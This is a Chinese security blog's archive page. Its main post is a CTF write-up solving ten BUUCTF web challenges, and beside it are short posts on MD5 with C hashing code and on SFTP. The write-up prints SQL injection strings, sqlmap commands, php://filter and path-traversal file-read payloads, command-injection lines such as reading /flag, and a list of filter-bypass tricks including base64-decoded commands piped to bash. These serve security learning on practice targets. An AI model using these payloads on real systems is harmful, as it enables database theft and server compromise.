首页
关于
联系我们
本站友链
站点统计
站点留言
更多
本站壁纸
Search
1
cc攻击脚本加教程
92 阅读
2
植物大战僵尸杂交版秒杀包
69 阅读
3
子比搭建教程
64 阅读
4
黑客入侵黑页html源码
46 阅读
5
查看摄像头实时画面
45 阅读
默认分类
网络安全
个人笔记
网站源码
ctf
web
红蓝功防
应急响应
密码学
kali
linux
网安故事
日常
登录
/
注册
Search
标签搜索
ctf
网络安全
技术分享
工具
lucky博士
累计撰写
34
篇文章
累计收到
46
条评论
首页
栏目
默认分类
网络安全
个人笔记
网站源码
ctf
web
红蓝功防
应急响应
密码学
kali
linux
网安故事
日常
页面
关于
联系我们
本站友链
站点统计
站点留言
本站壁纸
搜索到
8
篇与
lucky博士
的结果
2024-10-26
哈希函数-MD5算法
{mtitle title="哈希函数-MD5算法"/}什么是哈希函数? 百度百科给出的定义是:Hash,一般翻译做"散列",也有直接音译为"哈希"的,就是把任意长度的输入(又叫做预映射, pre-image),通过散列算法,变换成固定长度的输出,该输出就是散列值。 散列函数(英语:Hash function)又称散列算法、哈希函数,是一种从任何一种数据中创建小的数字“指纹”的方法。散列函数把消息或数据压缩成摘要,使得数据量变小,将数据的格式固定下来。该函数将数据打乱混合,重新创建一个叫做散列值(hash values,hash codes,hash sums,或hashes)的指纹。散列值通常用一个短的随机字母和数字组成的字符串来代表。什么是md5? md5是一种信息摘要算法,一种被广泛使用的密码散列函数,可以产生出一个128位(16字节)的散列值,用来确保信息传输完整一致性。数据填充与分组对消息进行数据填充,使消息的长度对512取模得448,设消息长度为X,即满足X mod 512=448。根据此公式得出需要填充的数据长度。填充方法:在消息后面进行填充,填充第一位为1,其余为0。初始化散列值用64位来存储填充前信息长度。这64位加在第一步结果的后面,这样信息长度就变为N512+448+64=(N+1)512位。记录信息长度标准的幻数(物理顺序)是(A=(01234567)16,B=(89ABCDEF)16。C=(FEDCBA98)16,D=(76543210)16)。假设在程序中定义应该是(A=0X67452301L,B=0XEFCDAB89L。C=0X98BADCFEL,D=0X10325476L)。有点晕哈。事实上想一想就明确了。四轮循环运算循环的次数是分组的个数(N+1)1)将每一512字节细分成16个小组,每一个小组64位(8个字节)2)先认识四个线性函数(&是与,|是或,~是非,是异或)F(X,Y,Z)=(X&Y)|((~X)&Z)G(X,Y,Z)=(X&Z)|(Y&(~Z))H(X,Y,Z)=XYZI(X,Y,Z)=Y(X|(~Z))3)设Mj表示消息的第j个子分组(从0到15)。<<<s表示循环左移s位,则四种操作为: FF(a,b,c,d,Mj,s,ti)表示a=b+((a+F(b,c,d)+Mj+ti)<<<s) GG(a,b,c,d,Mj,s,ti)表示a=b+((a+G(b,c,d)+Mj+ti)<<<s) HH(a,b,c,d,Mj,s,ti)表示a=b+((a+H(b,c,d)+Mj+ti)<<<s) II(a,b,c,d,Mj,s,ti)表示a=b+((a+I(b,c,d)+Mj+ti)<<<s) #include #include #include "md5.h" #include #include #include #include #define FORWORD_FW "123.c" int calc_md5(char*filename,char*dest) { int i; int filelen = 0; int read_len; char temp[8]={0}; char hexbuf[128]={0}; unsigned char decrypt[16]={0}; unsigned char decrypt32[64]={0}; MD5_CTX md5; char fw_path[128]; int fdf; fdf = open(filename,O_RDWR); if(fdf<0) { printf("%s not exist\n",FORWORD_FW); return -1; } MD5Init(&md5); while(1) { read_len = read(fdf, hexbuf,sizeof(hexbuf)); if (read_len <0) { close(fdf); return -1; } if(read_len==0) { break; } filelen += read_len; MD5Update(&md5,(unsigned char *)hexbuf,read_len); } MD5Final(&md5,decrypt); strcpy((char *)decrypt32,""); for(i=0;i<16;i++) { sprintf(temp,"%02x",decrypt[i]); strcat((char *)decrypt32,temp); } strcpy(dest,decrypt32); printf("md5:%s len=%d\n",dest,filelen); close(fdf); return filelen; } int main(int argc, char *argv[]) { int ret; int filelen; char md5_str[64]={0}; char cmd[256]={0}; filelen = calc_md5(FORWORD_FW,md5_str); if(filelen<0) { printf("calc_md5 fail\n"); return -1; } return 0; }
2024年10月26日
12 阅读
0 评论
2 点赞
2024-10-26
不使用工具,把电脑文件上传服务器
{mtitle title="SFTP"/}如何无需任何软件通过命令行向linux服务器传输文件使用SFTP(SSH File Transfer Protocol)可以通过安全的SSH连接在本地和远程主机之间传输文件。以下是如何使用SFTP的基本步骤:兼容性强支持所有终端 windows. macos 安卓 linux全都支持无需额外安装第三方软件1. 连接到远程服务器打开终端并输入以下命令以连接到远程服务器:sftp 用户名@服务器IP例如:sftp root@192.168.110.111put 文件名 上传文件到服务器get 文件名 下载文件到本地。2. 常用SFTP命令#查看远程目录内容: ls #查看本地目录内容: lls #切换远程目录: cd remote_directory #切换本地目录: lcd local_directory #上传文件到远程服务器: put local_file #下载文件到本地: get remote_file #上传整个目录到远程服务器: put -r local_directory #下载整个目录到本地: get -r remote_directory #退出SFTP会话: bye 或 exit 3. 示例假设您要将本地文件example.txt上传到远程服务器的/home/username/目录:sftp username@remote_hostsftp> put example.txt /home/username/sftp> bye注意事项确保您有远程服务器的访问权限,并且SSH服务正在运行。
2024年10月26日
11 阅读
0 评论
0 点赞
2024-10-25
记一次ctf练习
第一题 [极客大挑战 2019]EasySQL先输入1试试返回参数username=1&password=1输入username=1&password=1 order by 1,2,3,4,5,6试探类型,试探了但是好像报错You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1可以尝试一下sql万能密码,用户名输入1,密码使用万能密码' or '1'='1https://blog.csdn.net/u012206617/article/details/125770267然后点击提交,发现显示flag另一种方法使用sqlmap直接跑(这里没有成功)python sqlmap.py -u "http://368a000c-f8d1-4f39-85c8-b203edf49973.node5.buuoj.cn:81/check.php?username=1&password=1" -dbs #使用sqlmap直接一把梭,没有出来,加参数 python sqlmap.py -u "http://368a000c-f8d1-4f39-85c8-b203edf49973.node5.buuoj.cn:81/check.php?username=1&password=1" --random-agent -dbs #得出结果 sqlmap resumed the following injection point(s) from stored session: --- Parameter: username (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: username=-6221' OR 8577=8577#&password=1 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=1' AND (SELECT 6452 FROM (SELECT(SLEEP(5)))DPIW)-- NqgV&password=1 Parameter: password (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: username=1&password=-3288' OR 2496=2496# Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=1&password=1' AND (SELECT 3789 FROM (SELECT(SLEEP(5)))Kfnu)-- kFrC --- there were multiple injection points, please select the one to use for following injections: [0] place: GET, parameter: username, type: Single quoted string (default) [1] place: GET, parameter: password, type: Single quoted string [q] Quit > 选择默认,然后报错了,显示没有爆出表 [21:34:04] [INFO] retrieved: [21:34:05] [INFO] retrieved: [21:34:05] [CRITICAL] unable to retrieve the database names 这里不会了结论:使用sql万能密码或者万能账号得出flag,flag{8a48155f-d480-423e-9b13-99adfa8c8db1}万能密码:' or '1'='1这里sql查询语句会变成select * from user where username= '1' and password = '' or '1'='1 '语句为真,可行,得到flag。万能账号:admin' or 1=1 #select * from user where username= 'admin' or 1=1 #' and password = '1'也为真,得到flag第二题 [极客大挑战 2019]Havefun启动靶机打开网址,发现一个猫,这里什么都没有,打开开发者工具看看发现元素里面有东西 $cat=$_GET['cat']; echo $cat; if($cat=='dog'){ echo 'Syc{cat_cat_cat_cat}'; }这里是一段php代码,分析代码可以看出,定义了一个变量cat,使用get传参cat,会输出cat,如果输出的cat参数等于dog,会输出Syc{cat_cat_cat_cat}在网址中传参看看?cat=dog点击execute,发现显示flagflag{61b37ff1-713c-4608-b8e3-b293aa686e37}第三题 [HCTF 2018]WarmUp这一题看题目标签得知是一个php的代码审计题目创建容器,打开是一个滑稽,和上题一样,打开开发者工具看看看到一个php访问看一下打开是一个php,这里看不懂,发给gpt,让gpt简单分析一下代码这段PHP代码展示了一个简单的文件包含机制,同时包含一定的安全检查,防止用户通过file参数任意包含文件。具体功能如下: highlight_file(FILE): 这行代码会将当前PHP文件的源代码以高亮的形式显示出来。这样你可以在页面上看到这段PHP代码本身。 类 emmm: 定义了一个emmm类,包含静态方法checkFile,用于检查传入的文件是否在白名单内。 白名单($whitelist)仅包含两个文件:source.php和hint.php。 checkFile方法首先检查传入的页面参数是否存在且为字符串。如果不满足条件,输出"you can't see it"并返回false。 然后,它使用mb_substr和mb_strpos等函数提取文件路径,并逐步检查是否在白名单内。每次尝试不同的字符串处理方式来确定文件路径是否合法。 核心逻辑: 代码通过$_REQUEST['file']检查是否提供了file参数,并确保它是字符串。如果参数通过了emmm::checkFile方法的检查,则使用include包含指定的文件并终止脚本执行。 如果没有提供合法的文件,页面将显示一张图片(通过URL加载)。 安全分析: 代码采用了白名单机制,确保只有明确允许的文件(source.php和hint.php)可以被包含,避免了任意文件包含(LFI)攻击的可能性。 但仍需确保白名单内的文件是安全的,且不会被恶意修改。 传入的file参数被多次处理(如urldecode),以确保没有通过编码绕过检查,但这仍需注意编码相关的潜在风险。 总体来说,这段代码有一定的安全性,但为了确保更高的安全性,可以进一步加强验证或使用更安全的文件包含策略。看了一个大概,继续分析,从下面向上分析$_REQUEST 是 PHP 中的一个超全局变量,它包含了通过 HTTP 请求的方式发送给服务器的所有数据的组合。具体来说,$_REQUEST 会包括以下数组的内容:$_GET:通过 URL 查询字符串传递的参数(即 GET 请求的数据)。$_POST:通过表单或其他方式以 POST 请求方法传递的参数。$_COOKIE:通过 HTTP 请求中的 Cookie 传递的数据。//即其关键在于传了文件包含漏洞的payload之后,还使checkFile返回真。if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) {有点不是很理解,百度搜了一下,发现payload文件包含漏洞,构造file的值。本地文件包含漏洞的格式一般是file=../../../.../xxx直接访问一下hint.php发现文件名是ffffllllaaaagggg那就一点一点尝试吧file=source.php?../ffffllllaaaagggg加到第五个的时候出现flag了source.php?file=source.php?../../../../../ffffllllaaaaggggflag{5a62e888-0e1e-498b-b292-f7cd4c5035c8}第四题 [ACTF2020 新生赛]Include文件包含点击tips发现他访问了一下?file=flag.php这里可以使用php的伪协议php://filter直接?file=php://filter/read=convert.base64-encode/resource=flag就是将读取的内容进行base64加密,访问后出现base64,解密后发现flagflag{15af3147-128a-45d6-86ed-c7ffe143dbc6}第五题 [ACTF2020 新生赛]Exec打开页面发现是一个ping,输入127.0.0.1回环地址看看发现有回显,试试能不能用拼接符&& 或者 & 127.0.0.1 & ls /看到显示了PING 127.0.0.1 (127.0.0.1): 56 data bytes 64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.030 ms bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var 64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.049 ms 64 bytes from 127.0.0.1: seq=2 ttl=42 time=0.050 ms --- 127.0.0.1 ping statistics --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 0.030/0.043/0.050 ms看到根目录有个flag文件127.0.0.1 & cat /flag输入这个就可以看到flag了flag{d10744a2-c938-40f3-a6fb-fd0b0442269e}第六题 [GXYCTF2019]Ping Ping Ping这一题看着和上一题差不多,用上面的试试这一题打开题目发现是用get传参的方式打开hackbar、发现并不能,也可以是限制空格,试试其他方法,;使用;意思是执行完后执行后面的命令发现有回显可以看到一个flag.php的文件,使用cat查看执行不了,应该是空格过滤,百度搜一下(命令绕过空格方法)https://blog.csdn.net/m0_55754984/article/details/120280081${IFS}$9 {IFS} $IFS ${IFS} $IFS$1 IFS < <> %20 (space) %09 (tab) X=$'cat/x09./flag.php';$X?ip=127.0.0.1;cat${IFS}flag.php不能用{}用?ip=127.0.0.1;cat$IFS$1flag.php不能加flag,试试index,默认文件?ip=127.0.0.1;cat$IFS$1index.php分析代码得出过滤了特殊字符,然后百度找了一下大概思路cat fl* 用*匹配任意 cat fla* 用*匹配任意 ca/t fla/g.php 反斜线绕过 cat fl''ag.php 两个单引号绕过 echo "Y2F0IGZsYWcucGhw" | base64 -d | bash //base64编码绕过(引号可以去掉) |(管道符) 会把前一个命令的输出作为后一个命令的参数 echo "63617420666c61672e706870" | xxd -r -p | bash //hex编码绕过(引号可以去掉) echo "63617420666c61672e706870" | xxd -r -p | sh //sh的效果和bash一样 cat fl[a]g.php 用[]匹配 a=fl;b=ag;cat $a$b 变量替换 cp fla{g.php,G} 把flag.php复制为flaG ca${21}t a.txt 利用空变量 使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的选一种思路解题,试试变量替换,用$a拼接flag得出a=g;cat$IFS$1fla$a.php?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php这里没显示,但是执行了,又换了其他方法,最后在元素里面发现flag第七题 [SUCTF 2019]EasySQL看题目应该是个sql注入题目把你的旗帜给我,我会告诉你旗帜是否正确。输入一个1看看使用万能密码试试不行,网上查找方法,使用堆叠注入使用sql查询数据库show databases;继续查询表show tables;执行查询flag试试好像不能使用from上网找的方法,发现可以使用mysql中sql_mode的参数设置,把||变成字符串连接符https://blog.csdn.net/qq_39311377/article/details/132762315PIPES_AS_CONCATset sql_mode=PIPES_AS_CONCAT;select 1得出flagflag{2354e18f-5409-4256-a02f-64cc95b2b368}第八题 [强网杯 2019]随便注打开网页,发现和上题差不多这题是get传参,用sqlmap一把梭试试python sqlmap.py -u "http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1"发现有结果加参数python sqlmap.py -u "http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1" -dbs #查看数据库 这里出库了,爆表的时候出问题了,手动注入试试判断是否是字符型注入 http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1' 这里报错error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1 http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=select 查询关键词过滤 发现联合注入过滤了,使用堆叠注入 http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1' order by 2--+ 查询字段 回显报错,就说明有两个字段1'; show databases; 查询数据库1%27;%20show%20tables;` 查看所有数据表"1';show columns from 1919810931114514;--+爆出1919810931114514的内容,发现里面是一个flagselect函数被过滤了,只能用其他方法查询没有过滤 alter 和 rename。可以修改表名和列名我们把表 words 改名为其它,然后把表 1919810931114514 改名为 words ,再在表 1919810931114514 插入一列 id ,或直接将列 flag 改名为 id ,当我们再次查询时,不就是查询 flag 所在表了吗,且可以被展示出来。这里是网上的解题思路1';rename table words to words1;rename table 1919810931114514 to words;alter table words change flag id varchar(100) character set utf8 collate utf8_general_ci not NULL;#网上的解释- rename table `words` to `words1`; 修改表 words 改名为其它, - rename table `1919810931114514` to `words`;修改表 1919810931114514 改名为 words , - alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not NULL;修改列 flag 改名为 id , - 或者可以 alter table words add id int unsigned not Null auto_increment primary key;在表 1919810931114514 插入一列 id, - 然后再 1' or 1=1# ,展示flag最后直接万能密码查询就能显示flagflag{fd0b43dc-4f30-4403-bcdb-de0d16b37f5d}这一题使用sqlmap好像也可以跑出来,但是我的sqlmap好像有问题第九题 [极客大挑战 2019]LoveSQL使用万能密码试试出现一个md5字符串尝试解密,发现解不开通过查询字段发现总共三个字段测试回显使用database(),查询当前数据库group_concat(table_name) from information_schema.tables where table_schema=database()爆表可以看到两个表先看看l0ve1ysq1表里面的内容group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'得到了三个字段group_concat(id,username,password) from l0ve1ysq1查看内容查询完发现flagflag{74b42ae0-ea41-4c43-947a-be3ae5ba4001}使用工具,sqlmap一把梭python sqlmap.py -u "http://e4906d8f-4623-46f9-8d5f-64aaab162dbe.node5.buuoj.cn:81/check.php?username=admin&password=1" --random-agent -dbs 爆出所有数据库 python sqlmap.py -u "http://e4906d8f-4623-46f9-8d5f-64aaab162dbe.node5.buuoj.cn:81/check.php?username=admin&password=1" --random-agent -D geek -tables 爆出geek数据库中的所有表 python sqlmap.py -u "http://e4906d8f-4623-46f9-8d5f-64aaab162dbe.node5.buuoj.cn:81/check.php?username=admin&password=1" --random-agent -D geek -T l0ve1ysq1 -dump 爆出geek数据库中的l0ve1ysq1表中所有的数据 最后得出flag第十题 [极客大挑战 2019]Secret File打开题目发现寻找密码,这种清空先ctrl加u看一下源代码有没有什么信息发现了一个/Archive_room.php点击打开打开看看好像中间发生了什么,抓个包看看有一个302跳转,但是中间还有一个隐藏文件,访问这个文件代码审计,看到注释,说flag在flag.php文件里面,上面有个get传参file,这里可以使用php伪协议filterhttps://blog.csdn.net/qq_44879989/article/details/133513447看不到,使用base64试试?file=php://filter/read=convert.base64-encode|convert.base64-encode/resource=flag.php解密看看得出flagflag{8eda8f4d-bbb1-4ac4-b455-dc70023a5336}
2024年10月25日
11 阅读
0 评论
0 点赞
1
2